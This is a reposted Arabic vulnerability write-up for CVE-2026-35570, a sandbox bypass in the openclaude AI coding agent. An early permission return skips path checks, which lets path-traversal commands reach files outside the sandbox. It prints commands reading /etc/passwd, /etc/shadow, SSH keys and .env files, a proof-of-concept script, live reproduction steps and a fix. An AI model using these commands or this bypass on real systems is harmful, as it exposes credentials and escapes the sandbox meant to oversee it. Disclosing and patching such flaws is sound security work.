Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-35570 — # تفاصيل وشرح وإثبات المفهوم لـ CVE-2026-35570 ثغرة تجاوز للصندوق الرمل (sandbox bypass) في openclaude الإصدار v0.1.7 تسمح بتجاوز المسار (path traversal) لقراءة وكتابة ملفات عشوائية خارج الصندوق الرمل. | Kitploit
أدوات/GitHubGitHub/rickidevs/cve-2026-35570
تحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن الويب
GitHubrickidevs/cve-2026-35570

CVE-2026-35570

# تفاصيل وشرح وإثبات المفهوم لـ CVE-2026-35570 ثغرة تجاوز للصندوق الرمل (sandbox bypass) في openclaude الإصدار v0.1.7 تسمح بتجاوز المسار (path traversal) لقراءة وكتابة ملفات عشوائية خارج الصندوق الرمل.

عرض المستودع
1منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

كسر العزلة: كيف وجدت ثغرة تجاوز مسار حرجة في openclaude

CVE-2026-35570 | CVSS 8.4 (عالية) | openclaude v0.1.7


ليست كل ثغرة تتطلب سلسلة استغلال معقدة. أحياناً تكون عبارة return واحدة في غير مكانها كافية لاختراق نموذجك الأمني بالكامل. هذا بالضبط ما تمثله CVE-2026-35570.

يغطي هذا التقرير ثغرة تجاوز العزلة التي وجدتها في openclaude الإصدار v0.1.7 — خلل منطقي يسمح بحمولات تجاوز المسار بالمرور عبر طبقة عزل نظام الملفات دون أي فحص.


كيف وجدتها

كنت أتصفح ملف bashPermissions.ts عندما لفت انتباهي شيء في تدفق التحكم. بدا منطق الأذونات معقولاً للوهلة الأولى — إذا كنا داخل بيئة معزولة، قم بالسماح التلقائي للأمر؛ وإلا، اطلب من المستخدم. نظيف بما يكفي.

لكن سؤالاً واحداً ظل يلح عليّ: أين يحدث فحص قيود المسار فعلياً؟

تتبعت bashToolHasPermission() من البداية إلى النهاية ورسمت مسار التنفيذ:

root@kitploit:~
bashToolHasPermission()
    │
    ├─ [~1445] كتلة السماح التلقائي في العزلة
    │       └─ لا توجد قاعدة رفض → إرجاع ALLOW  ⚠️ خروج مبكر
    │
    └─ [~1644] checkPathConstraints()              ❌ لا يتم الوصول إليها أبداً

بُنيت كتلة العزلة لتخطي مطالبات الأذونات التفاعلية في البيئات المعزولة. أمر منطقي تماماً. المشكلة أن الدالة تخرج فوراً عندما تُرجع ALLOW. أما checkPathConstraints() — وهي المسؤولة فعلياً عن اكتشاف تجاوز المسار — فلا يتم تنفيذها أبداً.


ما الذي يحدث فعلياً

داخل bashToolHasPermission()، تتبع كتلة السماح التلقائي في العزلة هذا المنطق:

  1. هل العزلة مفعلة؟ → نعم
  2. هل السماح التلقائي مفعل؟ → نعم
  3. هل توجد قاعدة رفض صريحة لهذه الجلسة؟ → لا
  4. → إرجاع ALLOW والخروج من الدالة

عند هذه النقطة، يتم تجاوز checkPathConstraints() بالكامل. لا يحصل فلتر تجاوز المسار على أي فرصة للعمل.

من منظور المهاجم، هذا يعني أن أوامر مثل هذه تمر مباشرة:

root@kitploit:~
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env

جميعها تعود بنتيجة behavior: allow. لا مطالبة. لا حظر. لا شيء.


التأثير

ثلاثة أمور تصبح ممكنة عند وجود هذا الخلل:

قراءة ملفات عشوائية. أي شيء خارج حدود العزلة يصبح متاحاً — /etc/passwd، /etc/shadow، مفاتيح SSH الخاصة، ملفات .env. طالما تسمح أذونات نظام التشغيل بذلك، يمكن قراءة الملف.

كتابة ملفات عشوائية. ينطبق نفس المنطق بالعكس. يمكن للمهاجم الكتابة إلى مسارات خارج العزلة، مما يفتح الباب لاستبدال ملفات الإعدادات أو إسقاط محتوى في مواقع غير متوقعة.

فشل كامل لعزل البيئة. الغرض الكامل من العزلة هو فرض حدود نظام الملفات. مع وجود هذا الخطأ، لا تعني هذه الضمانة شيئاً.

CVSS v3.1: 8.4 (عالية) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N


الإصلاح

الإصلاح بسيط من الناحية المفاهيمية. يجب أن تمنع كتلة السماح التلقائي في العزلة المطالبات التفاعلية — هذا كل شيء. يجب ألا تقطع مسار معالجة الأذونات بالكامل أبداً.

root@kitploit:~
if (
  SandboxManager.isSandboxingEnabled() &&
  SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
  shouldUseSandbox(input)
) {
  const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);

  if (sandboxResult.behavior !== 'allow') {
    // العودة المبكرة فقط للرفض أو الطلب — لا تتخطى فحوصات المسار عند السماح
    return sandboxResult;
  }

  // إذا كان السماح، تابع إلى checkPathConstraints أدناه
}

// يجب أن يعمل فحص تجاوز المسار دائماً
return checkPathConstraints(input, appState.toolPermissionContext);

القاعدة الأساسية هنا: السماح التلقائي في العزلة يتخطى المطالبة، وليس الفحوصات الأمنية.


الإصدارات المتأثرة

الحقلالتفاصيل
الحزمةopenclaude
الإصدار المتأثرv0.1.7
الإصدار المُصححلا يوجد
CVECVE-2026-35570
CVSS8.4 (عالية)

إثبات المفهوم

المتطلبات

  • Node.js >= 18
  • openclaude الإصدار v0.1.7

الخطوة 1 — الاستنساخ والتثبيت

root@kitploit:~
git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install

الخطوة 2 — تفعيل وضع العزلة

شغّل openclaude مع تفعيل خيارات العزلة والسماح التلقائي:

root@kitploit:~
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude

قد تختلف أسماء المتغيرات قليلاً. تحقق من فئة SandboxManager للتأكد من تعيينات متغيرات البيئة الدقيقة لبنيتك.

الخطوة 3 — تشغيل سكربت الاختبار

احفظ ما يلي كملف poc.ts في جذر المشروع:

root@kitploit:~
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';

// إعداد شروط العزلة
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);

// حمولة مع تجاوز المسار
const maliciousInput = {
  command: 'cat ../../../../../etc/passwd'
};

const fakeAppState = {
  toolPermissionContext: {
    allowedPaths: ['/tmp/sandbox'],
    deniedPaths: []
  }
};

const result = bashToolHasPermission(maliciousInput, fakeAppState);

console.log('Result:', result.behavior);
// المتوقع:  "deny"   — يجب حظر تجاوز المسار
// الفعلي:    "allow"  ← تم تأكيد الثغرة

ثم شغّله:

root@kitploit:~
npx ts-node poc.ts

الخطوة 4 — ملاحظة المخرجات

سترى:

root@kitploit:~
Result: allow

لم يتم استدعاء checkPathConstraints() أبداً. للتأكد بنفسك، أضف سطر تسجيل داخل bashPermissions.ts:

root@kitploit:~
// حوالي السطر 1644
function checkPathConstraints(input, context) {
  console.log('checkPathConstraints was called'); // لن تتم طباعته أبداً
  // ...
}

شغّل السكربت مرة أخرى. لن يظهر السجل — الدالة يتم تخطيها فعلياً.

الخطوة 5 — إعادة الإنتاج في الواجهة الفعلية

افتح openclaude في جلسة معزولة وأرسل الأمر التالي:

root@kitploit:~
cat ../../../../../etc/passwd

يتم تنفيذه دون أي مطالبة إذن أو حظر، ويعرض محتويات /etc/passwd مباشرة.


CVE-2026-35570

تنزيل الأداة